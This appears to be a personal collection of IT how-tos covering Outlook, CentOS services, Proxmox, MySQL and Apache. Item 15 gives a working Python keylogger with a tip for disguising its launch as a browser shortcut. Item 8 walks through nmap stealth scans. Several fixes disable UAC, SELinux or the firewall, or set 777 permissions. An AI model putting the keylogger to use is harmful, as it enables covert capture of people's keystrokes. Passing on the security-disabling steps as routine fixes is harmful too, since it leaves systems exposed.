General IT complaints and solutions

1. How to make a new e-mail profile from outlook

Step 1 Open your control panel->open mail, then click add and give your profile name

Step 2 next give your details like username and password then give next it will be automatically configured your mail to outlook.

Step3 the test mail will be received from outlook

Step 4 then give finish.

Step 5 after you can see mail option like

Here click properties ->datafiles->settings->change password like

Here you can give new outlook password for particular mail id.

Click ok.

Step 6 now go for Microsoft outlook it will ask for profile name , you need to select you profile next give your outlook password. Finally you have to see you mail from outlook along with test mail.

If you want to download your inbox then go

tools-> send/receive ->send/receive all

in case it doesn’t work, then you have to go you mail setting (like gmail)->forwarding and POP/IMAP->POP download -> enable POP for all mail(even mail that’s already been downloaded).

 

 

 

 

 

2. How to change guest account picture in Windows 8 PC

Step 1 open your computer local disk c -> click view in menu bar and select the hidden file box like

                               

Step 2 open program data->Microsoft->user account pictures. Here you can see the guest profile pictures.

Step 3 next you can replace your selected pictures under the name of guest.bmp and guest.png then close the files.

Step 4 finally your guest account picture was changed..

3. How to set guest account password in Windows 8 PC

Step 1 click start type command prompt then left click the command prompt and choose run as administrator.

Step 2 from the DOS window you want to type the following

           Net user guest *

      You may press the enter key then

         Type a password for the user:    here you may type your password

         Retype the password to confirm: re enter the password

     The command completed successfully.

Now your guest account password has been set.

In feature you want to remove your password you have to follow the same command and press the enter key two times.

4. How to config VSFTPD in CentOS

 Step 1. Open your terminal

Step 2. Need to change admin mode

              $ su -

              Password: ("give your admin password")

Step 3. Want to install VSFTP before make sure if any previous install was made in that machine

             # rpm -q vsftpd

             if no previous vsftpd then

             # yum -y install vsftpd

             if completed

             # vim /etc/vsftpd/vsftpd.conf

             you want to do two more action here. un-command these two line, press i to modify.

           

             anonymous_enable=No

             chroot_local_user=Yes

             press Esc, then

           

             :wq!

Step 4. Now you want create a specify user to access ftp file.

            #useradd ftpuser

            #passwd ftpuser

             password: ("give your ftpuser password at twice")

Step 5. Put the folder on your user account

            go to computer, file system,home, ftpuser

            if you want to change folder permission like

            #chmod -R 777 /home/ftpuser

         

            now you may paste specify folder inside your user folder

If you want to change your default directory then you have add one more line from end of the vsftpd.conf file

Local_root=/var/www/html

Step 6. Next start the vsftpd service like

         

            #service vsftpd start

            for permanent start like

            #chkconfig vsftpd on

Go to your explore or browser type ftp://serverip

Give appropriate credentials then you will get your files

If you add local root directory then

Step 7. If you want to delete ftp user like

         

            #userdel ftpuser

         

            delete the ftpuser files

         

            #rm -rf /home/ftpuser

Create directory and texfile command

   #mkdir /home/ftpuser/ftpfile

   #touch /home/ftpuser/test

Want to remove VSFTPD

  #yum remove vsftpd

Note : if it doesn’t work then disable your firewall

#service iptables stop

5. How to create iSCSI target in openfiler

Make your openfiler with two more hard disks
disk 0 only for openfiler installation. remaining disk's will used for storage purpose
go to system and share the network first like below


1. goto volumes->create new physical volume




2. select the disk which you have create volume.

3. select mode as -> primary , partition type ->physical volume -> then create full disk

4. go to add volume of right side and give volume group name and add group volume

then you see

5.  go to add volume in right side and select volume group and give the name and size of  volume and press create like
     
6. then go to services and start iscsi target like

7. go to iscsi target in right side panel press add the target iqn

8. next map the LUN like

9. finally allow the network ACL

10. finally you got the iscsi target.

6. No Sharing and security tab on Server 2003

Start->Run->services.msc then find server

server -> you have to start the service ->ok

then press ctrl+shift+esc -> task manager

from processes tap select explore.exe - >end process

then file->new task-> explorer.exe->ok

now you can get the sharing and security tab.

7. How to move files from one folder to another folder using Windows PowerShell

1. Write your coding on notepad and save as sample.ps1

   for (;;)
    {
    start-sleep -s 30
    move-item D:\Powershell\source\*.mp3 D:\Powershell\destination
    move-item D:\Powershell\source\*.mp4 D:\Powershell\destination
    }

2. Open Windows PowerShell

3. Check your execution policy like

if it Remotesigned.

4. execution like > d:\Powershell\sample.ps1

8. How to use nmap in centos

1. Make sure if you have nmap in your system. perhaps check your nmap version

          #nmap --version

 yet no nmap available to your system. you need to install

          #yum install nmap

         #nmap localhost

-v giving more detailed information about the open ports
-A enables OS detection and version

 #namp -A localhost

-p denotes port range

 #nmap -p 10-15 localhost

Network scan
#nmap -sP 192.168.1.10-100

Scanning the Network for live host -v is increase the verbosity of the ping
#nmap -sP 192.168.1.10-100 -v

TCP scanning
root@kaliboobal:~# nmap -sT 192.168.1.90

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-11-28 09:46 IST
Nmap scan report for 192.168.1.90
Host is up (0.0016s latency).
Not shown: 985 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
443/tcp   open  https
445/tcp   open  microsoft-ds
902/tcp   open  iss-realsecure
912/tcp   open  apex-mesh
3389/tcp  open  ms-wbt-server
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown
49157/tcp open  unknown
MAC Address: 08:2E:5F:1E:EC:F7 (Hewlett Packard)

Nmap done: 1 IP address (1 host up) scanned in 2.03 seconds

SYN stealth scan

# nmap -sS 192.168.1.90

Filtered scan

root@kaliboobal:~# nmap -sF 192.168.1.90

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-11-28 09:52 IST

Nmap scan report for 192.168.1.90

Host is up (0.00017s latency).

All 1000 scanned ports on 192.168.1.90 are closed

MAC Address: 08:2E:5F:1E:EC:F7 (Hewlett Packard)

9. Automatic DNS Flush when internet getting down.

 1. Make sure you had the java package like "jdk1.7.0_51"

 2. You should copy "boobal2.java and boobal2.class" this file and paste on "c:\progra files\java\jdk1.7.0_51\bin" this location

3. Next you should copy "dns.bat,mybatch.bat,errorfolder and testfolder" this file and paste on "d:\"

4. After you must have understand about errorfolder and testfolder

    4.1 "testfolder" has been keep log file had every event performed in the app

    4.2 if any error log occurs in this folder the particular log will shifted to "errorfolder"

5. Finally you can copy boobal2.bat and paste to desktop. simply double click to run the program.

6. Thank you.

1.boobal2.java

import java.io.File;

import java.io.FileInputStream;

import java.io.FileOutputStream;

import java.io.IOException;

import java.io.InputStream;

import java.io.OutputStream;

import java.io.*;

import java.util.*;

import java.io.IOException;

public class boobal2

{

public static void main(String[] args)throws IOException

 {

   System.out.println(" this is for test 3");

   int b=0;

   File errorfile=null;

   String na=null,ne;

   while(b==0)

     {

       File folder = new File("D:/testfolder");

       File[] listOfFiles = folder.listFiles();

       for (int i = 0; i < listOfFiles.length; i++)  

         {

           File file = listOfFiles[i];

           //ne=file.getName();

           //if(ne!=na)

           //System.out.println("file name"+file);

           //System.out.println("files  "+i);

           if (file.isFile() && file.getName().endsWith(".txt"))

              {

                //String content = FileUtils.readFileToString(file);

                /* do somthing with content */

                //System.out.println("inside if "+file);

                FileReader fr = new FileReader(file);

                BufferedReader br = new BufferedReader(fr);

                String line;

                //System.out.println(" error file "+errorfile);

                ne=file.getName();

                //System.out.println(" ne file name  "+ne);

                System.out.println(" ERROR IN CONNECTION "+na);

               // if(ne!=na)

               //   { //for check

                     while((line = br.readLine()) != null)

                       {

                        if(line.contains("error"))

                          {

                            System.out.println(line);

                            Runtime.getRuntime().exec("cmd /C start D:/dns.bat");

                            System.out.println(" ERROR OCCURED FROM YOUR CONNECTION  ");

                            //String errorfile=file;

                            errorfile=file;

                            //System.out.println(" error occured file path  " +errorfile);

                            na=file.getName();

                            //System.out.println(" file name na "+na);

                            //if(file.renameTo(new File("D:/errorfolder"+file.getName())))

                            // { System.out.println("file moved successful");}

                            // else

                            // {System.out.println("file is failed to move");}

                            File bfile = new File("D:/errorfolder/"+file.getName());

                            InputStream inStream=new FileInputStream(file);

                            OutputStream outStream=new FileOutputStream(bfile);

                            byte[] buffer = new byte[1024];

                            int length;

                            //copy the file content in bytes

                            while ((length = inStream.read(buffer)) > 0){

                            outStream.write(buffer, 0, length);}

                                                                                                            

                            inStream.close();

                            outStream.close();

                            outStream.flush();

                            //file.setWritable(true);

                            //file.exists();

                            //System.gc();

                            //file.delete();

                            //String rep="clear";

                            //line=line.replace(rep,"");

                            //System.out.println(rep);

                            //FileUtil util = new FileUtil();

                            //util.removeLineFromFile(file, "error");

                            //File mybat=new File("D:/mybatch.txt");

                            //FileOutputStream fos=new FileOutputStream(mybat);

                            //DataOutputStream dos=new DataOutputStream(fos);

                            //dos.writeBytes("cd \n"); dos.flush();

                            //dos.writeBytes("\n");

                            //dos.writeBytes("del\r "+file.getName());

                            RandomAccessFile mybat1 = new RandomAccessFile("D:/mybatch.bat","rw");

                            String originalString = "cd..\ncd..\nd:\ncd testfolder \ndel "+file.getName();

                           

                            String updatedString = originalString.replace("\n","\r\n");

                            mybat1.writeBytes(updatedString);

                            //Runtime.getRuntime().exec("cmd /C start D:/dns.bat");

                            Runtime.getRuntime().exec("cmd /C start D:/mybatch.bat");

                            //Runtime.getRuntime().exec("cmd /C start C:/Program Files/Java/jdk1.7.0_51/bin/batch/dns.bat");

                            Runtime.getRuntime().exec("cmd /C start C:/Users/Boobalan/Desktop/boobal2.bat");

                            //Runtime.getRuntime().exec("cmd /C start D:/boobal2.bat");

                            b=b+1;

                          }

                       }

                 // }//for check

                  //else

                 // {System.out.println("conditon worked");}

                br.close();

                fr.close();

              }

         }

    //b=b+1;

    }

 }

}

2.dns.bat

ipconfig /flushdns

3.mybatch.bat

cd..
cd..
d:
cd testfolder

del log13.txt

4.boobal2.bat

@echo off
:: BatchGotAdmin (Run as Admin code starts)
REM --> Check for permissions
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
REM --> If error flag set, we do not have admin.
if '%errorlevel%' NEQ '0' (
echo Requesting administrative privileges...
goto UACPrompt
) else ( goto gotAdmin )
:UACPrompt
echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
echo UAC.ShellExecute "%~s0", "", "", "runas", 1 >> "%temp%\getadmin.vbs"
"%temp%\getadmin.vbs"
exit /B
:gotAdmin
if exist "%temp%\getadmin.vbs" ( del "%temp%\getadmin.vbs" )
pushd "%CD%"
CD /D "%~dp0"
:: BatchGotAdmin (Run as Admin code ends)
:: Your codes should start from the following line
set JAVA_HOME=C:\Program Files\Java\jdk1.7.0_51
set PATH=C:\Windows;C:\Windows\System32;C:\Program Files\Java\jdk1.7.0_51\bin
set CLASSPATH=

cd C:\Program Files\Java\jdk1.7.0_51\bin
javac boobal2.java

java boobal2

you can download entire package here https://drive.google.com/open?id=0B2wieRUQ4YjrNm9RcEI5N3BuZTQ&authuser=0

10. phpBB BoardError " Fatal: ./cache/ is NOT writable "

You need change the permission for cache folder on your board directory

# chmod -R 777 /var/www/html/board/cache

after simply refresh the board then error will gone.

11. How to enable fullscreen mode in VMware with Kali

1. After Install kali2.0 in VMware
2. In top of the VMware tool menu click vm->install vmware tool
      but before you should make update your kali
          #apt-get update
3. From kali desktop you can see vmware toll disk icon.
    open the disk icon and copy the folder of vmware tool.xxxx.tar.gz. then paste the file from another     location.
4. Go to that particular location and extract the file using following command.
           # tar -xf vmware tool.xxx.tar.gz
5. Open the extracted folder and install the file "vmware-install.pl" like
           # perl vmware-install.pl
6. Then press enter continue-sly until finish the installation.
7. After successful install, you must to reboot the system.
5. Finally you can get full screen mode.  

12. How to enable usb in proxmox vm

#lsusb

qm> info usbhost

find the USB ports and vendor id and product id

# qm set 100 -usb0 host=8564:1000


Refer follow screenshot

 

after reboot the USB will work at particular vm

 

 

 

 

 

13. How to Add user permission in Proxmox

Create a user

# useradd user100

# passwd user100

password

give your password twice

Go to GUI in root mode.

Datacenter -> users -> Add ->

     type user100  and press Add button

Select particular VM you want to set permission

go to Permission -> Add User Permission

     user -  user100

set your privilege like PVE Auditor or Administrator etc...

then press Add button

now check logout and login as well.  

14. How to Make Schedule Shutdown in Proxmox

First we can configure virtual machines and containers to start up and shutdown with the host.

Select The Vm -> go to option tab

enable the -> start up boot to yes

next configure the start/shutdown order

Start order = 1or any (order to start)
Start up delay = 60 (sec interval between two node start)
Shutdwon timeout = 60 (sec interval between two node shutdown)

Second We go to crontab for schedule task execution command.

It consists of five parts

1.                  minute

2.                  hour

3.                  day of month

4.                  month

5.                  day of week

Here is an illustration

# crontab -l     -> to list out the crontab schedule

# crontab -e     -> to create a new crontab schedule

# crontab -r     -> to remove all crontab schedule



# m h  dom mon dow   command
11 16 * * * /sbin/shutdown -h now

 It should shutdown your machine at every day 4:11 PM

15. How to make key logger using python script

1. make sure you have python if any version, here i have used python 2.7, you can get this on https://www.python.org/download/releases/2.7/ 

2. after success full installation, you have to download two more supporting packages
 
          pyhook

         pywin32

    both two have any bit(32 and 64) as well version depending on your python

 these two whl file you can get http://www.lfd.uci.edu/~gohlke/pythonlibs/ 

3. now you want to install these packages like

    open command prompt and open the appropriate directory have the files then

   >pip install filename.whl

in this step you have found any error make sure you have pip is successfully installed or not.
the check
>pip

if no version and help will display down. you didn't have pip. you might install pip

4. you have to download get-pip.py file from https://pip.pypa.io/en/stable/installing/ 

   just double click the file it will install.  after check >pip   now you  can see the pip version etc..
   and make install .whl files you want above.

5. now follow the code

   import pyHook, pythoncom, sys, logging

file_log = 'D:\\important\\log.txt'

def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

and save the  file as filename.pyw

6. now open command prompt to appropriate location and execute like

          python filename.pyw

here if you face any errors. make sure your environment variables path.
   like ;c:\python27;c:\python27\scripts
if no error found the script was executed successfully. next what ever you typed in your keyboard it will be stored in log.txt file which can be located in d:\important
note: one more error facing any dll like pywintypes27 .dll missing
you can copy these files

          pythoncom27.dll, pythoncomloader27.dll, pywintypes27.dll
   from "C:\Python27\Lib\site-packages\pywin32_system32" to "C:\Python27"

after that you can face null errors.

note: you can make execute this file from batch and shortcut as ie or chrome etc...

@echo off
start "" "path\filename.pyw"
start chrome.exe

save a file with .bat extension 

16. How to change Send Mail from gmail

1. Go to gmail - Setting - Accounts and Import
2. go to send mail as - add another email address yow own
3.  name - your name
     email address – yournewname@any.com
4. click - next
5. smtp server - change smtp.gmail.com
   username - xxx@gmail.com (original mail id)
   password - xxxxx
6. click next
7. then go to mail and copy the code and paste over there and finish the task.

8. now go and check mail

17. How to video streaming with Icecast

1.We need vlc and icecast server. every one might have vlc so you can get icecast from http://icecast.org/download/ 
2. Install vlc and icecast
3. Find icecast.xml file from your c:/program files/icecast/
4. Edit that file like
           change
           <location>your which</location>
           <admin>your wish</admin>
           <hostname> yourlocal ip or static ip</hostname>

          then fined <mound>example.ogg</mount>  and change your wish
          and save that file.
5. Star icecast.bat file from c:/program files/icecast/
6. Go to browser and type you've mentioned IP like 127.0.0.1:8000 and you can use the credential           like user name admin password hackme
7. Open vlc and press ctrl+s add your video files then press stream from down side then press next now change the new destination = file to icecast then press add
then fill the followed details
address localip
port 8000
mount point example.ogg (you were changed early)
login:pass source:hackme

and change the profile video-theora + vorbis(ogg)

then press the stream

8. Go and refresh your icecast browser then you can see new mount point
after just copy the listenurl and past with new tab from there you can see your videos..

18. Error: File /var/cache/yum/i386/6/epel/metalink.xml does not exist in CentOS

If you are using CentOS 6 or 6.5

#yum remove epel-release --disablerepo=epel\*

  check /etc/yum.repos.d to see there aren't any epel repo files in there at this point

Next we install fresh epel-release, After that error will not come.

#yum install epel-release

19. How do I open administrator command prompt without asking user account control permission

Following script will do open your administrator command prompt
open notepad - paste following command

@echo off
:: BatchGotAdmin (Run as Admin code starts)
REM --> Check for permissions
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
REM --> If error flag set, we do not have admin.
if '%errorlevel%' NEQ '0' (
echo Requesting administrative privileges...
goto UACPrompt
) else ( goto gotAdmin )
:UACPrompt
echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
echo UAC.ShellExecute "%~s0", "", "", "runas", 1 >> "%temp%\getadmin.vbs"
"%temp%\getadmin.vbs"
exit /B
:gotAdmin
if exist "%temp%\getadmin.vbs" ( del "%temp%\getadmin.vbs" )
pushd "%CD%"
CD /D "%~dp0"
:: BatchGotAdmin (Run as Admin code ends)
:: Your codes should start from the following line

save filename.bat

It will ask User account control permission when you double click on that .bat file.
To avoid that UAC
start-change user account control setting-change the notify option as Never notify-click yes (or)
control panel- user account-user account control permission -change the notify option as Never notify-click yes

after that your PC never ask any UAC permissions 

20. the specified service does not exist as an installed service. unable to open the service 'tomcat6'

Hi, you have to set environment variable

First you have to set jave_home and jre_home

run-sysdm.cpl-advanced-environment variable-system variables-new

JAVA_HOME=C:\Program files\java\jdk1.6.0

JRE_Home=c:\program files\java\jre1.6.0

ok

CATALINA_HOME=c:\apache-tomcat-6.0.45

then edit your path and add JAVA_HOME & CATALINA_HOME

now go and execute your tomcat - C:-Apache-tomcat-6.0.45-bin-double click - startup

and you can see http://localhost:8080

that's all.

 

 

21. How to install Network Printer in Windows -XP

Go to control panel - add a printer - next

select - local printer attached to this computer - next - next - select create a new port 

and type should - Standard TCP/IPPort

click - next - next -  give printer IP address - next - select the printer type here if you have n't  shown your printer type (give printer name), you need to specify your printer drivers  or disc then give next finally click finish. 

22. Install Apache, Mysql, PHP in centos

#yum update
Apache
#yum install httpd
#service httpd start
#chkconfig httpd on

check your localhost in browser and local network, if it not showing apache then

#iptables -F

Mysql
# yum install mysql-server

# service mysqld start

# chkconfig mysqld on

# mysqladmin -u root password '*****'

 mysql -u root -p

Enter password:

mysql>

Php

# yum install php php-mysql

# php -v
PHP 5.3.3 (cli) (built: Aug 11 2016 20:33:53)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies

now test your php

# vi /var/www/html/phpinfo.php

<?php

phpinfo();

?>   

:wq!

ip/phpinfo.php

here you can see php info.

 

23. Unable to connect Apache in local network from CentOS

First Check
#netstat

# netstat -an | grep :80
tcp        0      0 192.168.1.6:49280           184.26.162.167:80           ESTABLISHED
tcp        0      0 :::80                       :::*                        LISTEN

If you doesn't see port ::80 listen means that may be a firewall issue. CentOS iptables doesn't allow HTTP access by default so check your iptables

#cat /etc/sysconfig/iptables

are you can disable your firewall

#iptables -F
or
#service iptables stop
#checkconfig  iptables off

24. 'ssl://smtp.gmail.com': (13) Permission denied in centos

In this case you have to check SELINUX on your system whether active or not.
If it enabled, just disabled

# vi /etc/selinux/config

SELINUX=enforcing (as)

SELINUX=disabled

:wq!

#reboot

or

/usr/sbin/setsebool httpd_can_network_connect=1

reboot

25. error 1153 (08s01) got a packet bigger than 'max_allowed_packet'

It will be happen while import mysql database
you could specify max_allowed_packet if you your db has big

#mysql --max_allowed_packet=100m -u root -p database < dump.sql

or change my.cnf /my.ini file under mysqld section

max_allowed_packet=100M
or you could run following command in mysql console

mysql>set global net_buffer_length=1000000;
mysql>set global max_allowed_packet=1000000000;

now you get rid of that error

 

26. 404 Page not found error in CentOS

Generally It will be an mod_rewrite issue. you could make sure following events

Config Apache mod_rewrite modules

1. open apache configuration location

#cd /etc/httpd/conf/httpd.conf

2. change  "AllowOverride None" to AllowOverride All inside the the document root directory
that is

<Directory "/var/www/html">

Permanently redirect users to access the site with or without the www. prefix

1. create or open a .htaccess file the document root folder and add the following text replacing variables with appropriate values were necessary.

#vi /var/www/html/.htaccess

#mod_rewrite
<IfModule mod_rewrite.c>
#enable mod_rewrite engine
RewriteEngine on

#following are not necessary
#with www
RewriteCond %{HTTP_HOST}^$uri\.$tld$ [NC]
  RewriteRule ^(.*)$ http://www(link is external).$domain$1 [L,R=301]

  # WITOUT 'www.'
  RewriteCond %{HTTP_HOST} ^www\.$uri\.$tld$ [NC]
  RewriteRule ^(.*)$ http://$domain/$1 [L,R=301]
</IfModule>
save that file

#service httpd restart

you will rid of 404 page not found error

27. Update PHP 5.3 to 5.4 in centos

Remove your existing php

#rpm -qa | grep php
//here there shows your old versions like
php_53x86

#yum remove php_53x86

//remove your config files too

#rm -rf /etc/httpd/conf.d/php.conf
#rm -rf /etc/php.ini

Next install SCL  Repository for 5.4 packages

#yum install centos-release-SCL

Then Install PHP 5.4 

#yum install php54 php54-php php54-php-gd php54-php-mbstring

Next you must install the updated database module 

#yum install php54-php-mysqlnd

# yum install php54-php-ldap

# yum install php54-php-imap

# yum install php54-php-snmp

# yum install php54-php-common

Now disable loading the old php 5.3 

#mv /etc/httpd/conf.d/php.conf /etc/httpd/conf.d/php53.off

Finally restart apache

#service httpd restart


find your php.ini file
# find / -name php.ini

if you have any time zone issue then you need to edit date.timezone from php.ini

[Date]
; Defines the default timezone used by the date functions
; http://php.net/date.timezone
;date.timezone = 

change to

date.timezone = "Asia/Kolkata"

that's all

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

28. Fusioninventory agent installation for CentOS and Ubuntu

29. MYSQL Database backup and restore in CentOS

Backup

# mysqldump -u root -p dbname > /var/www/html/dbbackup/dbname.sql

Restore

#mysql -u root -p
password:
mysql>create database dbname;
mysql>GRANT ALL ON dbname.* TO dbusername@localhost IDENTIFIED BY 'dbpassword';
mysql>flush privileges;

mysql>quit

# mysql -u root -p dbname < /var/www/html/dbbackup/dbname.sql
password:

30. How to change host name in CentOS

# cat /etc/hosts
127.0.0.1               localhost.localdomain localhost
::1             localhost6.localdomain6 localhost6

# cat /etc/sysconfig/network
NETWORKING=yes
NETWORKING_IPV6=no
HOSTNAME=localhost
NTPSERVERARGS=iburst

# hostname
localhost.localdomain

just edit following method

# vi /etc/hosts
127.0.0.1               changename
::1             localhost6.localdomain6 localhost6


# vi /etc/sysconfig/network
HOSTNAME=CHANGENAME


#reboot

now you can get the changed name

31. MySQL Replication in CentOS

Requirement
1.Two host which will communicable
2.Same version of MySQL on both Machine
3.Same DB and users were been on both Machine

Here
Master - 192.168.0.75
Slave - 192.168.0.76

#Master
#vi /etc/my.cnf
[mysqld]
server-id=1
log-bin=master-bin.log

save that file

#Slave
#vi /etc/my.cnf
[mysqld]
server-id=2
relay-log-index=slave-relay-bin.index
relay-log=slave-relay-bin
replicate-wild-ignore-table=mysql.%
replicate-wild-ignore-table=information_schema.%
replicate-wild-ignore-table=performance_schema.%

save that file
#service mysqld restart   //execute both machine

#Master
#mysql -u root -p
mysql> show master status \G;
*************************** 1. row ***************************
            File: master-bin.000001
        Position: 3640
    Binlog_Do_DB:
Binlog_Ignore_DB:
1 row in set (0.00 sec)

ERROR:
No query specified

mysql>unlock tables;      =====>execute both machine

mysql>grant replication slave on *.* to 'repuser'@'%' identified by 'slavepwd';
mysql>flush privileges;

*.* ==> all db
'%' ==> allow from all IP

#Slave
mysql>change master to
->master_host ='192.168.0.75',
->master_port=3306,
->master_user='repuser',
->master_password='slavepwd',
->master_log_file='master-bin.000001',
->master_log_pos=3640;

mysql>start slave;
mysql>show slave status \G;

///if any error happen then disabled iptables from both machine
///now update any tables from master it will be updated automatically from slave

32. Insatll cPanel in CentOS

Needs

1.fresh CentOS (no Pre-install MySQL or something)
2.hostname should contain two dot like (hostname.name.com) or (hostname)
3.linux run-level must be 3

#yum install perl
#cd /home
#wget -N http://httpupdate.cpanel.net/latest            //here you can see the latest file from last line
#sh latest

if you get any hostname related error
#hostname yourhostname.yourdomainname

#sh latest

now you get two or more hours be patient, after success fully installed you can access

https://yourip:2087

33. Change Run level in CentOS

Linux run level has been configured in inittab which located in /etc/inittab
by default all linux has runlevel 5

#vi /etc/inittab

# inittab is only used by upstart for the default runlevel.
#
# ADDING OTHER CONFIGURATION HERE WILL HAVE NO EFFECT ON YOUR SYSTEM.
#
# System initialization is started by /etc/init/rcS.conf
#
# Individual runlevels are started by /etc/init/rc.conf
#
# Ctrl-Alt-Delete is handled by /etc/init/control-alt-delete.conf
#
# Terminal gettys are handled by /etc/init/tty.conf and /etc/init/serial.conf,
# with configuration in /etc/sysconfig/init.
#
# For information on how to write upstart event handlers, or how
# upstart works, see init(5), init(8), and initctl(8).
#
# Default runlevel. The runlevels used are:
#   0 - halt (Do NOT set initdefault to this)
#   1 - Single user mode
#   2 - Multiuser, without NFS (The same as 3, if you do not have networking)
#   3 - Full multiuser mode
#   4 - unused
#   5 - X11
#   6 - reboot (Do NOT set initdefault to this)
#
id:5:initdefault:

If you want to change the run level then edit the following line

id:3:initdefault:

Save the file and reboot the machine

After reboot you have the CLI mode. how to go GUI again

#startx

Manually change GUI to CLI

#switchdesk kde    // from gnome to kde

#startx  

#switchdesk gnome    //from kde to gnome

#startx  

34. Encrypt a File/Directory in CentOS

First you have to install pinentry-gui
# yum install pinentry-gui

then create a .sh file
]# vi encrypt.sh

#!/bin/bash
echo "Welcome, I am ready to encrypt a file/folder for you"
echo "currently I have a limitation, Place me to thh same folder, where a file to be
encrypted is present"
echo "Enter the Exact File Name with extension"
read file;
gpg -c $file
echo "I have encrypted the file successfully..."
echo "Now I will be removing the original file"
rm -rf $file

save the file
this script will encrypt file and directories

change file permission
]# chmod 755 encrypt.sh

Execute the script

]# ./encrypt.sh

# ./encrypt.sh

Welcome, I am ready to encrypt a file/folder for you

currently I have a limitation, Place me to thh same folder, where a file to be

encrypted is present

Enter the Exact File Name with extension

Boobalan.docx

   ┌─────────────────────────────────────────────────────┐

            │ Enter passphrase                                    │

            │                                                     │

            │                                                     │

            │ Passphrase ________________________________________ │

            │                                                     │

            │       <OK>                             <Cancel>     │

            └─────────────────────────────────────────────────────┘

give the encrypt password twice. then it will encrypt

gpg -c will encrypt your file

gpg -d for decrypt your file

]# gpg -d Boobalan.docx.gpg >Boobalan.docx

give the password then your file was successfully decrypt. 

35. Easy way to login MySQL in CentOS

There is a way to login mysql by entering without password often
from your root directory
#vi .my.cnf

[client]
user=root   // db username
password=password  //db password

then save the file

Now you can enter your database without asking any password like

#mysql
mysql>quit

36. Install XRDP in CentOS

Check your linux version
#uname -r
then if you have centOS 32 bit
#wget http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm
#rpm -ivh epel-release-6-8.noarch.rpm

then if you have centOS 64 bit
#wget http://download.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm
#rpm -ivh epel-release-6-8.noarch.rpm

#yum repolist

#yum install xrdp tigervnc-server
#service vncserver start
#service xrdp start
#chkconfig xrdp on
#chkconfig vncserver on

now you have to make firewall rule to allow port 3389 or else you can disable firewall service
#iptables -F
or
# iptables -I INPUT -p tcp -m state --state NEW -m tcp --dport 3389 -j ACCEPT
# service iptables save
# service iptables restart

you can check
# netstat -ntlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name
tcp        0      0 0.0.0.0:3389                0.0.0.0:*                   LISTEN      2337/xrdp

or
#iptables -L
now you can get remote over your windows.

37. Download Youtube Video using VLC

1. copy your youtube video url
2. open VLC open media (ctrl+N) paste in network url and play
3. go to tools -> code information(ctrl+J) copy the location address
4. paste into your web browser url
5. then right click the video page and click save video as

Method 2

1. copy your youtube video url
2. open VLC open media (ctrl+N) paste in network url and select convert
3. mention the destination location and format finally hit start

38. Mapping URL to file directory in centos

# vi /etc/httpd/conf/httpd.conf

DocumentRoot "/var/www/html"

//change your site directory here like

DocumentRoot "/var/www/html/yoursitename"

39. Web access to the files directory, should not be allowed Check the .htaccess file and the web server configuration.

need to edit httpd config file like

#vi /etc/httpd/conf/httpd.conf

<Directory "/var/www/html">

#
# Possible values for the Options directive are "None", "All",
# or any combination of:
#   Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews
#
# Note that "MultiViews" must be named *explicitly* --- "Options All"
# doesn't give it to you.
#
# The Options directive is both complicated and important.  Please see
# http://httpd.apache.org/docs/2.2/mod/core.html#options
# for more information.
#
    Options Indexes FollowSymLinks

#
# AllowOverride controls what directives may be placed in .htaccess files.
# It can be "All", "None", or any combination of the keywords:
#   Options FileInfo AuthConfig Limit
#
    AllowOverride All

#
# Controls who can get stuff from this server.
#
    Order allow,deny
    Allow from all

</Directory>

Here change AllowOverride None to AllowOverride All

40. Apache Virtual Hosting name based in CentOS

edit
# vi /etc/httpd/conf/httpd.conf

find NameVirtualHost *:80 and un-command this line


<VirtualHost *:80>
    ServerAdmin admin mail id
    DocumentRoot /var/www/html/app1
    ServerName app1.example.in
#    ErrorLog logs/dummy-host.example.com-error_log
#    CustomLog logs/dummy-host.example.com-access_log common
</VirtualHost>
<VirtualHost *:80>
    ServerAdmin admin mail id
    DocumentRoot /var/www/html/app2
    ServerName app2.example.in
#    ErrorLog logs/dummy-host.example.com-error_log
#    CustomLog logs/dummy-host.example.com-access_log common
</VirtualHost>
<VirtualHost *:80>
    ServerAdmin admin mail id
    DocumentRoot /var/www/html/app3
    ServerName app3.example.in
#    ErrorLog logs/dummy-host.example.com-error_log
#    CustomLog logs/dummy-host.example.com-access_log common
</VirtualHost>

save and exit the file

#service httpd restart